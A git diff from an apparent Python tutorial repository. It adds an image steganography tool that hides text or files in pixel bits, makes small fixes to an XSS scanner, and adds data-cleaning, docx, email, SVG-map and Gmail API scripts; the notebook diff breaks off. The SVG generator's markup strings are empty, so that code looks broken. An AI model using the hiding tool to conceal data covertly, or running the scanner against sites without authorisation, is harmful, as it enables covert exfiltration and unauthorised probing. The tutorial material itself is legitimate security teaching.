+2019-06-11,8021.0,8049.77978515625,7724.580078125,7917.31982421875,7917.31982421875,282632009,BTC-USD +2019-06-12,7917.31982421875,8250.0,7834.56982421875,8174.14013671875,8174.14013671875,399065678,BTC-USD +2019-06-13,8174.14013671875,8326.2001953125,8053.64990234375,8235.5703125,8235.5703125,315594036,BTC-USD +2019-06-14,8235.5703125,8724.419921875,8180.39013671875,8693.9599609375,8693.9599609375,424131990,BTC-USD +2019-06-15,8693.9599609375,8905.1396484375,8621.48046875,8853.5595703125,8853.5595703125,333656492,BTC-USD +2019-06-16,8853.5595703125,9372.8896484375,8800.9599609375,8979.1796875,8979.1796875,767025702,BTC-USD +2019-06-17,8979.1796875,9468.849609375,8976.990234375,9336.009765625,9336.009765625,606269265,BTC-USD +2019-06-18,9336.009765625,9357.2197265625,8941.830078125,9081.7099609375,9081.7099609375,473016555,BTC-USD +2019-06-19,9081.7099609375,9313.1796875,9045.4697265625,9280.5400390625,9280.5400390625,293070485,BTC-USD +2019-06-20,9280.5400390625,9600.2802734375,9219.8095703125,9536.849609375,9536.849609375,424436854,BTC-USD +2019-06-21,9536.849609375,10230.8603515625,9536.849609375,10218.8701171875,10218.8701171875,765543626,BTC-USD +2019-06-22,10218.8701171875,11207.9697265625,10086.3203125,10689.5400390625,10689.5400390625,1240328392,BTC-USD +2019-06-23,10689.5400390625,11285.509765625,10513.8095703125,10855.990234375,10855.990234375,619160985,BTC-USD +2019-06-25,11035.849609375,11468.4697265625,10992.3701171875,11386.009765625,11386.009765625,715423168,BTC-USD diff --git a/ethical-hacking/steganography/encoded_image.PNG b/ethical-hacking/steganography/encoded_image.PNG deleted file mode 100644 index d1d6041d..00000000 Binary files a/ethical-hacking/steganography/encoded_image.PNG and /dev/null differ diff --git a/ethical-hacking/steganography/foo.pdf b/ethical-hacking/steganography/foo.pdf new file mode 100644 index 00000000..742e0185 Binary files /dev/null and b/ethical-hacking/steganography/foo.pdf differ diff --git a/ethical-hacking/steganography/steganography_advanced.py b/ethical-hacking/steganography/steganography_advanced.py new file mode 100644 index 00000000..b5f48435 --- /dev/null +++ b/ethical-hacking/steganography/steganography_advanced.py @@ -0,0 +1,149 @@ +import cv2 +import numpy as np +import os + +def to_bin(data): + """Convert `data` to binary format as string""" + if isinstance(data, str): + return ''.join([ format(ord(i), "08b") for i in data ]) + elif isinstance(data, bytes): + return ''.join([ format(i, "08b") for i in data ]) + elif isinstance(data, np.ndarray): + return [ format(i, "08b") for i in data ] + elif isinstance(data, int) or isinstance(data, np.uint8): + return format(data, "08b") + else: + raise TypeError("Type not supported.") + + +def encode(image_name, secret_data, n_bits=2): + # read the image + image = cv2.imread(image_name) + # maximum bytes to encode + n_bytes = image.shape[0] * image.shape[1] * 3 * n_bits // 8 + print("[*] Maximum bytes to encode:", n_bytes) + print("[*] Data size:", len(secret_data)) + if len(secret_data) > n_bytes: + raise ValueError(f"[!] Insufficient bytes ({len(secret_data)}), need bigger image or less data.") + print("[*] Encoding data...") + # add stopping criteria + if isinstance(secret_data, str): + secret_data += "=====" + elif isinstance(secret_data, bytes): + secret_data += b"=====" + data_index = 0 + # convert data to binary + binary_secret_data = to_bin(secret_data) + # size of data to hide + data_len = len(binary_secret_data) + for bit in range(1, n_bits+1): + for row in image: + for pixel in row: + # convert RGB values to binary format + r, g, b = to_bin(pixel) + # modify the least significant bit only if there is still data to store + if data_index < data_len: + if bit == 1: + # least significant red pixel bit + pixel[0] = int(r[:-bit] + binary_secret_data[data_index], 2) + elif bit > 1: + # replace the `bit` least significant bit of the red pixel with the data bit + pixel[0] = int(r[:-bit] + binary_secret_data[data_index] + r[-bit+1:], 2) + data_index += 1 + if data_index < data_len: + if bit == 1: + # least significant green pixel bit + pixel[1] = int(g[:-bit] + binary_secret_data[data_index], 2) + elif bit > 1: + # replace the `bit` least significant bit of the green pixel with the data bit + pixel[1] = int(g[:-bit] + binary_secret_data[data_index] + g[-bit+1:], 2) + data_index += 1 + if data_index < data_len: + if bit == 1: + # least significant blue pixel bit + pixel[2] = int(b[:-bit] + binary_secret_data[data_index], 2) + elif bit > 1: + # replace the `bit` least significant bit of the blue pixel with the data bit + pixel[2] = int(b[:-bit] + binary_secret_data[data_index] + b[-bit+1:], 2) + data_index += 1 + # if data is encoded, just break out of the loop + if data_index >= data_len: + break + return image + + +def decode(image_name, n_bits=1, in_bytes=False): + print("[+] Decoding...") + # read the image + image = cv2.imread(image_name) + binary_data = "" + for bit in range(1, n_bits+1): + for row in image: + for pixel in row: + r, g, b = to_bin(pixel) + binary_data += r[-bit] + binary_data += g[-bit] + binary_data += b[-bit] + + # split by 8-bits + all_bytes = [ binary_data[i: i+8] for i in range(0, len(binary_data), 8) ] + # convert from bits to characters + if in_bytes: + # if the data we'll decode is binary data, + # we initialize bytearray instead of string + decoded_data = bytearray() + for byte in all_bytes: + # append the data after converting from binary + decoded_data.append(int(byte, 2)) + if decoded_data[-5:] == b"=====": + # exit out of the loop if we find the stopping criteria + break + else: + decoded_data = "" + for byte in all_bytes: + decoded_data += chr(int(byte, 2)) + if decoded_data[-5:] == "=====": + break + return decoded_data[:-5] + + +if __name__ == "__main__": + import argparse + parser = argparse.ArgumentParser(description="Steganography encoder/decoder, this Python scripts encode data within images.") + parser.add_argument("-t", "--text", help="The text data to encode into the image, this only should be specified for encoding") + parser.add_argument("-f", "--file", help="The file to hide into the image, this only should be specified while encoding") + parser.add_argument("-e", "--encode", help="Encode the following image") + parser.add_argument("-d", "--decode", help="Decode the following image") + parser.add_argument("-b", "--n-bits", help="The number of least significant bits of the image to encode", type=int, default=2) + + args = parser.parse_args() + if args.encode: + # if the encode argument is specified + if args.text: + secret_data = args.text + elif args.file: + with open(args.file, "rb") as f: + secret_data = f.read() + input_image = args.encode + # split the absolute path and the file + path, file = os.path.split(input_image) + # split the filename and the image extension + filename, ext = file.split(".") + output_image = os.path.join(path, f"{filename}_encoded.{ext}") + # encode the data into the image + encoded_image = encode(image_name=input_image, secret_data=secret_data, n_bits=args.n_bits) + # save the output image (encoded image) + cv2.imwrite(output_image, encoded_image) + print("[+] Saved encoded image.") + if args.decode: + input_image = args.decode + if args.file: + # decode the secret data from the image and write it to file + decoded_data = decode(input_image, n_bits=args.n_bits, in_bytes=True) + with open(args.file, "wb") as f: + f.write(decoded_data) + print(f"[+] File decoded, {args.file} is saved successfully.") + else: + # decode the secret data from the image and print it in the console + decoded_data = decode(input_image, n_bits=args.n_bits) + print("[+] Decoded data:", decoded_data) \ No newline at end of file diff --git a/ethical-hacking/xss-vulnerability-scanner/xss_scanner.py b/ethical-hacking/xss-vulnerability-scanner/xss_scanner.py index 010eb0a6..5395d4d3 100644 --- a/ethical-hacking/xss-vulnerability-scanner/xss_scanner.py +++ b/ethical-hacking/xss-vulnerability-scanner/xss_scanner.py @@ -16,7 +16,7 @@ def get_form_details(form): """ details = {} # get the form action (target url) - action = form.attrs.get("action").lower() + action = form.attrs.get("action", "").lower() # get the form method (POST, GET, etc.) method = form.attrs.get("method", "get").lower() # get all the input details such as type and name @@ -57,6 +57,8 @@ def submit_form(form_details, url, value): # then add them to the data of form submission data[input_name] = input_value + print(f"[+] Submitting malicious payload to {target_url}") + print(f"[+] Data: {data}") if form_details["method"] == "post": return requests.post(target_url, data=data) else: diff --git a/general/calculate-directory-size/get_directory_size.py b/general/calculate-directory-size/get_directory_size.py index a5b2609b..9f62df8b 100644 --- a/general/calculate-directory-size/get_directory_size.py +++ b/general/calculate-directory-size/get_directory_size.py @@ -27,7 +27,10 @@ def get_directory_size(directory): total += entry.stat().st_size elif entry.is_dir(): # if it's a directory, recursively call this function - total += get_directory_size(entry.path) + try: + total += get_directory_size(entry.path) + except FileNotFoundError: + pass except NotADirectoryError: # if `directory` isn't a directory, get the file size then return os.path.getsize(directory) diff --git a/general/data-cleaning-pandas/README.md b/general/data-cleaning-pandas/README.md new file mode 100644 index 00000000..6b246374 --- /dev/null +++ b/general/data-cleaning-pandas/README.md @@ -0,0 +1 @@ +# [Data Cleaning with Pandas in Python](https://www.thepythoncode.com/article/data-cleaning-using-pandas-in-python) \ No newline at end of file diff --git a/general/data-cleaning-pandas/data_cleaning.py b/general/data-cleaning-pandas/data_cleaning.py new file mode 100644 index 00000000..7e03b3ef --- /dev/null +++ b/general/data-cleaning-pandas/data_cleaning.py @@ -0,0 +1,10 @@ +import pandas as pd + +# Config settings +pd.set_option('max_columns', None) +pd.set_option('max_rows', 12) + +# Import CSV data +data_frames = pd.read_csv (r'simulated_data.csv') + +print(data_frames.head(10)) diff --git a/general/data-cleaning-pandas/data_cleaning2.py b/general/data-cleaning-pandas/data_cleaning2.py new file mode 100644 index 00000000..529cee6d --- /dev/null +++ b/general/data-cleaning-pandas/data_cleaning2.py @@ -0,0 +1,10 @@ +import pandas as pd + +# Config settings +pd.set_option('max_columns', None) +pd.set_option('max_rows', 12) + +# Import CSV data +data_frames = pd.read_csv (r'simulated_data.csv') + +print(data_frames.info()) \ No newline at end of file diff --git a/general/data-cleaning-pandas/data_cleaning3.py b/general/data-cleaning-pandas/data_cleaning3.py new file mode 100644 index 00000000..1eb637fb --- /dev/null +++ b/general/data-cleaning-pandas/data_cleaning3.py @@ -0,0 +1,18 @@ +import pandas as pd + +# Config settings +pd.set_option('max_columns', None) +pd.set_option('max_rows', 12) + +# Import CSV data +data_frames = pd.read_csv (r'simulated_data.csv') + +# Data Type Conversion +# Remove '$' from donation strings +data_frames['donation'] = data_frames['donation'].str.strip('$') + +# Convert donation stings into numerical data type +data_frames['donation'] = data_frames['donation'].astype('float64') + +print(data_frames.head(10)) +print(data_frames.info()) \ No newline at end of file diff --git a/general/data-cleaning-pandas/data_cleaning4.py b/general/data-cleaning-pandas/data_cleaning4.py new file mode 100644 index 00000000..3ca8b4d8 --- /dev/null +++ b/general/data-cleaning-pandas/data_cleaning4.py @@ -0,0 +1,32 @@ +import pandas as pd + +# Config settings +pd.set_option('max_columns', None) +pd.set_option('max_rows', 12) + +# Import CSV data +data_frames = pd.read_csv (r'simulated_data.csv') + +# Data Type Conversion +# Remove '$' from donation strings +data_frames['donation'] = data_frames['donation'].str.strip('$') + +# Convert donation stings into numerical data type +data_frames['donation'] = data_frames['donation'].astype('float64') + + +# Handle Data Inconsistencies +# Capitalize strings +data_frames['street_address'] = data_frames['street_address'].str.split() + +def capitalize_words(arr): + for index, word in enumerate(arr): + if index == 0: + pass + else: + arr[index] = word.capitalize() + +data_frames['street_address'].apply(lambda x: capitalize_words(x)) +data_frames['street_address'] = data_frames['street_address'].str.join(' ') + +print(data_frames['street_address']) diff --git a/general/data-cleaning-pandas/data_cleaning5.py b/general/data-cleaning-pandas/data_cleaning5.py new file mode 100644 index 00000000..ad8066d4 --- /dev/null +++ b/general/data-cleaning-pandas/data_cleaning5.py @@ -0,0 +1,41 @@ +import pandas as pd + +# Config settings +pd.set_option('max_columns', None) +pd.set_option('max_rows', 12) + +# Import CSV data +data_frames = pd.read_csv (r'simulated_data.csv') + +# Data Type Conversion +# Remove '$' from donation strings +data_frames['donation'] = data_frames['donation'].str.strip('$') + +# Convert donation stings into numerical data type +data_frames['donation'] = data_frames['donation'].astype('float64') + + +# Handle Data Inconsistencies +# Normalize strings +data_frames['street_address'] = data_frames['street_address'].str.split() + +def normalize_words(arr): + for index, word in enumerate(arr): + if index == 0: + pass + else: + arr[index] = normalize(word) + +def normalize(word): + if word.lower() == 'st': + word = 'street' + elif word.lower() == 'rd': + word = 'road' + + return word.capitalize() + + +data_frames['street_address'].apply(lambda x: normalize_words(x)) +data_frames['street_address'] = data_frames['street_address'].str.join(' ') + +print(data_frames.head(10)) \ No newline at end of file diff --git a/general/data-cleaning-pandas/data_cleaning6.py b/general/data-cleaning-pandas/data_cleaning6.py new file mode 100644 index 00000000..91d10af0 --- /dev/null +++ b/general/data-cleaning-pandas/data_cleaning6.py @@ -0,0 +1,49 @@ +import pandas as pd + +# Config settings +pd.set_option('max_columns', None) +pd.set_option('max_rows', 12) + +# Import CSV data +data_frames = pd.read_csv (r'simulated_data.csv') + +# Data Type Conversion +# Remove '$' from donation strings +data_frames['donation'] = data_frames['donation'].str.strip('$') + +# Convert donation stings into numerical data type +data_frames['donation'] = data_frames['donation'].astype('float64') + + +# Handle Data Inconsistencies +# Normalize strings +data_frames['street_address'] = data_frames['street_address'].str.split() + +def normalize_words(arr): + for index, word in enumerate(arr): + if index == 0: + pass + else: + arr[index] = normalize(word) + +def normalize(word): + if word.lower() == 'st': + word = 'street' + elif word.lower() == 'rd': + word = 'road' + + return word.capitalize() + + +data_frames['street_address'].apply(lambda x: normalize_words(x)) +data_frames['street_address'] = data_frames['street_address'].str.join(' ') + + +# Remove Out-of-Range Data +# create boolean Series for out of range donations +out_of_range = data_frames['donation'] < 0 + +# keep only the rows that are NOT out of range +data_frames['donation'] = data_frames['donation'][~out_of_range] + +print(data_frames.head(10)) \ No newline at end of file diff --git a/general/data-cleaning-pandas/data_cleaning7.py b/general/data-cleaning-pandas/data_cleaning7.py new file mode 100644 index 00000000..639f0c60 --- /dev/null +++ b/general/data-cleaning-pandas/data_cleaning7.py @@ -0,0 +1,54 @@ +import pandas as pd + +# Config settings +pd.set_option('max_columns', None) +pd.set_option('max_rows', 12) + +# Import CSV data +data_frames = pd.read_csv (r'simulated_data.csv') + +# Data Type Conversion +# Remove '$' from donation strings +data_frames['donation'] = data_frames['donation'].str.strip('$') + +# Convert donation stings into numerical data type +data_frames['donation'] = data_frames['donation'].astype('float64') + + +# Handle Data Inconsistencies +# Normalize strings +data_frames['street_address'] = data_frames['street_address'].str.split() + +def normalize_words(arr): + for index, word in enumerate(arr): + if index == 0: + pass + else: + arr[index] = normalize(word) + +def normalize(word): + if word.lower() == 'st': + word = 'street' + elif word.lower() == 'rd': + word = 'road' + + return word.capitalize() + + +data_frames['street_address'].apply(lambda x: normalize_words(x)) +data_frames['street_address'] = data_frames['street_address'].str.join(' ') + + +# Remove Out-of-Range Data +# create boolean Series for out of range donations +out_of_range = data_frames['donation'] < 0 + +# keep only the rows that are NOT out of range +data_frames['donation'] = data_frames['donation'][~out_of_range] + + +# Remove duplicates +columns_to_check = ['first_name', 'last_name', 'street_address', 'city', 'state'] +data_frames_no_dupes = data_frames.drop_duplicates(subset=columns_to_check, keep='first') + +print(data_frames_no_dupes.info()) diff --git a/general/data-cleaning-pandas/data_cleaning8.py b/general/data-cleaning-pandas/data_cleaning8.py new file mode 100644 index 00000000..5fe0b7f5 --- /dev/null +++ b/general/data-cleaning-pandas/data_cleaning8.py @@ -0,0 +1,60 @@ +import pandas as pd + +# Config settings +pd.set_option('max_columns', None) +pd.set_option('max_rows', 12) + +# Import CSV data +data_frames = pd.read_csv (r'simulated_data.csv') + +# Data Type Conversion +# Remove '$' from donation strings +data_frames['donation'] = data_frames['donation'].str.strip('$') + +# Convert donation stings into numerical data type +data_frames['donation'] = data_frames['donation'].astype('float64') + + +# Handle Data Inconsistencies +# Normalize strings +data_frames['street_address'] = data_frames['street_address'].str.split() + +def normalize_words(arr): + for index, word in enumerate(arr): + if index == 0: + pass + else: + arr[index] = normalize(word) + +def normalize(word): + if word.lower() == 'st': + word = 'street' + elif word.lower() == 'rd': + word = 'road' + + return word.capitalize() + + +data_frames['street_address'].apply(lambda x: normalize_words(x)) +data_frames['street_address'] = data_frames['street_address'].str.join(' ') + + +# Remove Out-of-Range Data +# create boolean Series for out of range donations +out_of_range = data_frames['donation'] < 0 + +# keep only the rows that are NOT out of range +data_frames['donation'] = data_frames['donation'][~out_of_range] + + +# Remove duplicates +columns_to_check = ['first_name', 'last_name', 'street_address', 'city', 'state'] +data_frames_no_dupes = data_frames.drop_duplicates(subset=columns_to_check, keep='first') + + +# Drop Missing Data +columns_to_check = ['state', 'donation'] +data_frames_no_missing = data_frames_no_dupes.dropna(subset=columns_to_check) + + +print(data_frames_no_missing.head(20)) diff --git a/general/data-cleaning-pandas/data_cleaning9.py b/general/data-cleaning-pandas/data_cleaning9.py new file mode 100644 index 00000000..e61440b7 --- /dev/null +++ b/general/data-cleaning-pandas/data_cleaning9.py @@ -0,0 +1,59 @@ +import pandas as pd + +# Config settings +pd.set_option('max_columns', None) +pd.set_option('max_rows', 12) + +# Import CSV data +data_frames = pd.read_csv (r'simulated_data.csv') +# Data Type Conversion +# Remove '$' from donation strings +data_frames['donation'] = data_frames['donation'].str.strip('$') +# Convert donation stings into numerical data type +data_frames['donation'] = data_frames['donation'].astype('float64') +# Handle Data Inconsistencies +# Normalize strings +data_frames['street_address'] = data_frames['street_address'].str.split() + +def normalize_words(arr): + for index, word in enumerate(arr): + if index == 0: + pass + else: + arr[index] = normalize(word) + +def normalize(word): + if word.lower() == 'st': + word = 'street' + elif word.lower() == 'rd': + word = 'road' + + return word.capitalize() + + +data_frames['street_address'].apply(lambda x: normalize_words(x)) +data_frames['street_address'] = data_frames['street_address'].str.join(' ') + + +# Remove Out-of-Range Data +# create boolean Series for out of range donations +out_of_range = data_frames['donation'] < 0 + +# keep only the rows that are NOT out of range +data_frames['donation'] = data_frames['donation'][~out_of_range] + + +# Remove duplicates +columns_to_check = ['first_name', 'last_name', 'street_address', 'city', 'state'] +data_frames_no_dupes = data_frames.drop_duplicates(subset=columns_to_check, keep='first') + + +# Drop Missing Data +columns_to_check = ['state', 'donation'] +data_frames_no_missing = data_frames_no_dupes.dropna(subset=columns_to_check) + + +print(data_frames_no_missing.head(20)) + + +data_frames_no_missing.to_csv(r'clean_donations_data.csv', index = False) \ No newline at end of file diff --git a/general/data-cleaning-pandas/helpers.py b/general/data-cleaning-pandas/helpers.py new file mode 100644 index 00000000..a65f889f --- /dev/null +++ b/general/data-cleaning-pandas/helpers.py @@ -0,0 +1,71 @@ +import random + +def add_donations(rows): + total_donations = len(rows) + donations = [] + + # create list of random donation values + donations = list_of_donations(total_donations) + + # add donations onto main records + count = 0 + while count < total_donations: + rows[count].append(donations[count]) + count += 1 + + +def create_row_base(): + first_name_options = ['Rosemaria', 'Jodi', 'Alvy', 'Blake', 'Ellis', ''] + last_name_options = ['Roderick', 'Hesbrook', 'Summerton', 'Rappport', 'Alben', ''] + city_options = ['Hialeah', 'Arlington', 'Springfield', 'Carrollton', 'Cambridge', ''] + state_options = ['CT', 'NY', 'VA', 'WA', 'AZ', ''] + + first_name = random.choice(first_name_options) + last_name = random.choice(last_name_options) + street = street_address() + city = random.choice(city_options) + state = random.choice(state_options) + + return [ + first_name, + last_name, + street, + city, + state + ] + + +def list_of_donations(size): + donations = [] + + donation_amt = random_dollar_amt() + for i in range(size): + # randomly change donation value + if random.choice([1, 2, 3, 4, 5]) > 1: + donation_amt = random_dollar_amt() + donations.append(donation_amt) + + return donations + + +def random_dollar_amt(): + dollars = random.randint(-50, 200) + cents = random.randint(0, 99) + return '${}.{}'.format(dollars, cents) + + +def scramble_capitalization(str): + final_str = '' + for letter in str: + final_str += random.choice([letter.upper(), letter.lower()]) + return final_str + + +def street_address(): + num = random.randint(40,1001) + road_name = random.choice(['Western Plank', 'Forest Run', 'Kings', 'Oaktree']) + road_type = random.choice(['Street', 'St', 'Road', 'Rd', '']) + + address = '{} {} {}'.format(num, road_name, road_type) + return address + diff --git a/general/data-cleaning-pandas/requirements.txt b/general/data-cleaning-pandas/requirements.txt new file mode 100644 index 00000000..1411a4a0 --- /dev/null +++ b/general/data-cleaning-pandas/requirements.txt @@ -0,0 +1 @@ +pandas \ No newline at end of file diff --git a/general/data-cleaning-pandas/simulator.py b/general/data-cleaning-pandas/simulator.py new file mode 100644 index 00000000..44927739 --- /dev/null +++ b/general/data-cleaning-pandas/simulator.py @@ -0,0 +1,33 @@ +import csv +import random +import helpers + +def generate_dataset(): + rows = [] + count = 0 + + # generate list of base records: names data + address data + while count < 20: + row_to_add = helpers.create_row_base() + rows.append(row_to_add) + + # randomly add duplicate records + if random.choice([1, 2, 3, 4, 5]) > 2: + rows.append(row_to_add.copy()) + # scramble formatting of street address + rows[-1][2] = helpers.scramble_capitalization(rows[-1][2]) + count += 1 + + # add donation amounts to each record + helpers.add_donations(rows) + + return rows + + +with open('simulated_data.csv', 'w') as f: + f_csv = csv.writer(f) + + # write headers first + f_csv.writerow(['first_name','last_name','street_address', + 'city','state', 'donation']) + f_csv.writerows(generate_dataset()) \ No newline at end of file diff --git a/general/docx-file-replacer/README.md b/general/docx-file-replacer/README.md new file mode 100644 index 00000000..7bd54b81 --- /dev/null +++ b/general/docx-file-replacer/README.md @@ -0,0 +1,3 @@ +# [How to Replace Text in Docx Files in Python](https://www.thepythoncode.com/article/replace-text-in-docx-files-using-python) +To run this: +- `pip3 install -r requirements.txt` \ No newline at end of file diff --git a/general/docx-file-replacer/doc.docx b/general/docx-file-replacer/doc.docx new file mode 100644 index 00000000..90633422 Binary files /dev/null and b/general/docx-file-replacer/doc.docx differ diff --git a/general/docx-file-replacer/docx_text_replacer.py b/general/docx-file-replacer/docx_text_replacer.py new file mode 100644 index 00000000..55c09da7 --- /dev/null +++ b/general/docx-file-replacer/docx_text_replacer.py @@ -0,0 +1,58 @@ +# Import re for regex functions +import re + +# Import sys for getting the command line arguments +import sys + +# Import docx to work with .docx files. +# Must be installed: pip install python-docx +from docx import Document + +# Check if Command Line Arguments are passed. +if len(sys.argv) < 3: + print('Not Enough arguments where supplied') + sys.exit() + +# Check if replacers are in a valid schema +for replaceArg in sys.argv[2:]: + if len(replaceArg.split('=')) != 2: + print('Faulty replace argument given') + print('-> ', replaceArg) + sys.exit() + +# Store file path from CL Arguments. +file_path = sys.argv[1] + +if file_path.endswith('.docx'): + doc = Document(file_path) + # Loop through replacer arguments + occurences = {} + for replaceArgs in sys.argv[2:]: + # split the word=replacedword into a list + replaceArg = replaceArgs.split('=') + # initialize the number of occurences of this word to 0 + occurences[replaceArg[0]] = 0 + # Loop through paragraphs + for para in doc.paragraphs: + # Loop through runs (style spans) + for run in para.runs: + # if there is text on this run, replace it + if run.text: + # get the replacement text + replaced_text = re.sub(replaceArg[0], replaceArg[1], run.text, 999) + if replaced_text != run.text: + # if the replaced text is not the same as the original + # replace the text and increment the number of occurences + run.text = replaced_text + occurences[replaceArg[0]] += 1 + + # print the number of occurences of each word + for word, count in occurences.items(): + print(f"The word {word} was found and replaced {count} times.") + + # make a new file name by adding "_new" to the original file name + new_file_path = file_path.replace(".docx", "_new.docx") + # save the new docx file + doc.save(new_file_path) +else: + print('The file type is invalid, only .docx are supported') diff --git a/general/docx-file-replacer/requirements.txt b/general/docx-file-replacer/requirements.txt new file mode 100644 index 00000000..31245b28 --- /dev/null +++ b/general/docx-file-replacer/requirements.txt @@ -0,0 +1 @@ +python-docx \ No newline at end of file diff --git a/general/email-sender/email_sender.py b/general/email-sender/email_sender.py index 5fd7b9eb..70deae7e 100644 --- a/general/email-sender/email_sender.py +++ b/general/email-sender/email_sender.py @@ -5,7 +5,8 @@ def send_mail(email, password, FROM, TO, msg): # initialize the SMTP server - server = smtplib.SMTP("smtp.gmail.com", 587) + # in our case it's for Microsoft365, Outlook, Hotmail, and live.com + server = smtplib.SMTP(host="smtp.office365.com", port=587) # connect to the SMTP server as TLS mode (secure) and send EHLO server.starttls() # login to the account using the credentials @@ -20,7 +21,7 @@ def send_mail(email, password, FROM, TO, msg): password = "password" # the sender's email -FROM = "email@example.com" +FROM = email # the receiver's email TO = "to@example.com" # the subject of the email (subject) diff --git a/general/email-sender/email_sender_with_attachments.py b/general/email-sender/email_sender_with_attachments.py index 148f13e3..e9dd65ec 100644 --- a/general/email-sender/email_sender_with_attachments.py +++ b/general/email-sender/email_sender_with_attachments.py @@ -15,7 +15,8 @@ def send_mail(email, password, FROM, TO, msg): # initialize the SMTP server - server = smtplib.SMTP("smtp.gmail.com", 587) + # in our case it's for Microsoft365, Outlook, Hotmail, and live.com + server = smtplib.SMTP(host="smtp.office365.com", port=587) # connect to the SMTP server as TLS mode (secure) and send EHLO server.starttls() # login to the account using the credentials @@ -30,7 +31,7 @@ def send_mail(email, password, FROM, TO, msg): password = "password" # the sender's email -FROM = "email@example.com" +FROM = email # the receiver's email TO = "to@example.com" # the subject of the email (subject) diff --git a/general/generate-svg-country-map/README.md b/general/generate-svg-country-map/README.md new file mode 100644 index 00000000..f5424119 --- /dev/null +++ b/general/generate-svg-country-map/README.md @@ -0,0 +1 @@ +# [How to Generate SVG Country Maps in Python](https://www.thepythoncode.com/article/generate-svg-country-maps-python) \ No newline at end of file diff --git a/general/generate-svg-country-map/requirements.txt b/general/generate-svg-country-map/requirements.txt new file mode 100644 index 00000000..dd88e750 --- /dev/null +++ b/general/generate-svg-country-map/requirements.txt @@ -0,0 +1 @@ +pycountry \ No newline at end of file diff --git a/general/generate-svg-country-map/svg_country_maps.py b/general/generate-svg-country-map/svg_country_maps.py new file mode 100644 index 00000000..7a513c2f --- /dev/null +++ b/general/generate-svg-country-map/svg_country_maps.py @@ -0,0 +1,100 @@ +# Default Library +import requests +import json +import os + +# Download with pip install pycountry +import pycountry + +for country in list(pycountry.countries): + + # All Points from all Groups + # used to analyze + allPoints = [] + + # Countries that dont consist of one body + # will have multiple groups of coordinates + pointGroups = [] + + # Country Code with 3 letters + countryCode = country.alpha_3 + countryName = country.name + + # Check if the SVG file already Exists and skip if it does + if os.path.exists(f'output/{countryName}.svg'): + print(f'{countryName}.svg Already exists ... Skipping to next Country\n') + continue + + print('Generating Map for: ', countryName) + + # Get the Data + re = requests.get(f'https://geodata.ucdavis.edu/gadm/gadm4.1/json/gadm41_{countryCode}_0.json') + + # If the string cant be parsed an invalid country was requested + try: + data = json.loads(re.text) + except json.decoder.JSONDecodeError: + print('Could not decode ... Skipping to next Country\n') + continue + + # Organise the Data + # Get the groups and all coordinates + for i in data['features'][0]['geometry']['coordinates']: + for group in i: + pointGroups.append(group) + for coord in group: + allPoints.append(coord) + + print(f'\n{len(allPoints)} Points') + + # Analyse Data + # Use these Information to calculate + # offset, height and width of the Country + lowestX = 9999999999 + highestX = -9999999999 + + lowestY = 9999999999 + highestY = -9999999999 + + for x, y in allPoints: + lowestX = x if x < lowestX else lowestX + highestX = x if x > highestX else highestX + + lowestY = y if y < lowestY else lowestY + highestY = y if y > highestY else highestY + + print('lowestX', lowestX) + print('highestX', highestX) + + print('lowestY', lowestY) + print('highestY', highestY) + + svgWidth = (highestX - lowestX) + svgHeight = (highestY - lowestY) + + # Transfrom Points to Polygon Strings + polygonString = '' + for group in pointGroups: + coordinateString = '' + for x, y in group: + x = (x - lowestX) + y = (y - lowestY) + + coordinateString = coordinateString + f'{x},{y} ' + + polygonString += f'' + + svgContent = f""" + + {polygonString} + + """ + + # make the output folder + if not os.path.isdir("output"): + os.mkdir("output") + # write the svg file + with open(f'output/{countryName}.svg', 'w') as f: + f.write(svgContent) + # new line + print('\n') diff --git a/general/gmail-api/delete_emails.py b/general/gmail-api/delete_emails.py index e586961a..1db315db 100644 --- a/general/gmail-api/delete_emails.py +++ b/general/gmail-api/delete_emails.py @@ -2,6 +2,7 @@ def delete_messages(service, query): messages_to_delete = search_messages(service, query) + print(f"Deleting {len(messages_to_delete)} emails.") # it's possible to delete a single message with the delete API, like this: # service.users().messages().delete(userId='me', id=msg['id']) # but it's also possible to delete all the selected messages with one query, batchDelete diff --git a/general/gmail-api/mark_emails.py b/general/gmail-api/mark_emails.py index e76cef94..0ad10346 100644 --- a/general/gmail-api/mark_emails.py +++ b/general/gmail-api/mark_emails.py @@ -2,6 +2,7 @@ def mark_as_read(service, query): messages_to_mark = search_messages(service, query) + print(f"Matched emails: {len(messages_to_mark)}") return service.users().messages().batchModify( userId='me', body={ @@ -12,6 +13,7 @@ def mark_as_read(service, query): def mark_as_unread(service, query): messages_to_mark = search_messages(service, query) + print(f"Matched emails: {len(messages_to_mark)}") return service.users().messages().batchModify( userId='me', body={ diff --git a/general/gmail-api/read_emails.py b/general/gmail-api/read_emails.py index 3aa7381e..1a07faa9 100644 --- a/general/gmail-api/read_emails.py +++ b/general/gmail-api/read_emails.py @@ -134,6 +134,7 @@ def read_message(service, message): service = gmail_authenticate() # get emails that match the query you specify from the command lines results = search_messages(service, sys.argv[1]) + print(f"Found {len(results)} results.") # for each email matched, read it (output plain/text to console & save HTML and attachments) for msg in results: read_message(service, msg) \ No newline at end of file diff --git a/general/gmail-api/tutorial.ipynb b/general/gmail-api/tutorial.ipynb index 26200c5e..007da6dc 100644 --- a/general/gmail-api/tutorial.ipynb +++ b/general/gmail-api/tutorial.ipynb @@ -1,378 +1,363 @@ { - "metadata": { - "language_info": { - "codemirror_mode": { - "name": "ipython", - "version": 3 - }, - "file_extension": ".py", - "mimetype": "text/x-python", - "name": "python", - "nbconvert_exporter": "python", - "pygments_lexer": "ipython3", - "version": "3.6.6-final" - }, - "orig_nbformat": 2, - "kernelspec": { - "name": "python36664bitea6884f10f474b21a2a2f022451e0d09", - "display_name": "Python 3.6.6 64-bit" - } - }, - "nbformat": 4, - "nbformat_minor": 2, "cells": [ { "cell_type": "code", "execution_count": null, + "metadata": {}, + "outputs": [], "source": [ - "import os\r\n", - "import pickle\r\n", - "# Gmail API utils\r\n", - "from googleapiclient.discovery import build\r\n", - "from google_auth_oauthlib.flow import InstalledAppFlow\r\n", - "from google.auth.transport.requests import Request\r\n", - "# for encoding/decoding messages in base64\r\n", - "from base64 import urlsafe_b64decode, urlsafe_b64encode\r\n", - "# for dealing with attachement MIME types\r\n", - "from email.mime.text import MIMEText\r\n", - "from email.mime.multipart import MIMEMultipart\r\n", - "from email.mime.image import MIMEImage\r\n", - "from email.mime.audio import MIMEAudio\r\n", - "from email.mime.base import MIMEBase\r\n", + "import os\n", + "import pickle\n", + "# Gmail API utils\n", + "from googleapiclient.discovery import build\n", + "from google_auth_oauthlib.flow import InstalledAppFlow\n", + "from google.auth.transport.requests import Request\n", + 